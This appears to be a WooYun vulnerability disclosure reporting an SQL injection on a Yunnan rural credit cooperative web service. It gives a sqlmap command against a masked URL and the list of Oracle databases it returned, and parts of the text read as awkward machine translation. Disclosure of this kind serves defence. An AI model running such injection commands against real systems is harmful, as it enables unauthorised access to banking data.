漏洞标题 云南省农村信用社智慧农信站SQL问题 相关厂商 ynrcc.com 漏洞作者 冷白开。 提交时间 2016-06-18 21:10 公开时间 2016-06-29 16:39 漏洞类型 SQ…
漏洞标题
云南省农村信用社智慧农村合作站的SQL问题
相关制造商
Ynrcc.com
漏洞作者
冷白。
提交时间
2016-06-18 21: 10
公共时间
2016-06-29 16: 39
漏洞类型
SQL注入漏洞
危险等级
高
自我评估等级
10
漏洞状态
已提交给第三方合作机构(cncert National Internet Emergency Center)
标签标签
漏洞详细信息
Sqlmap.py -u'http://**。**。**。**/sqh/business/list.html?kindid=328b52a5eb624de68580b3a6119ec4ac& name=3& nowpage=2'--dbs

可用数据库[19]:
[*] APEXX030200
[*] APPQOSSYS
[*] CTXSYS
[*] DBSNMP
[*] EXFSYS
[*] FLOWS_FILES
[*] MDSYS
[*] OLAPSYS
[*] ORDDATA
[*] ORDSYS
[*] OUTLN
[*] OWBSYS
[*] RCCMC
[*] SCOTT
[*] SYS
[*] SYSMAN
[*]系统
[*] WMSYS
[*] XDB
漏洞证明:
综上所述
修理计划:
你明白
版权声明:请注明转载的来源。 @乌云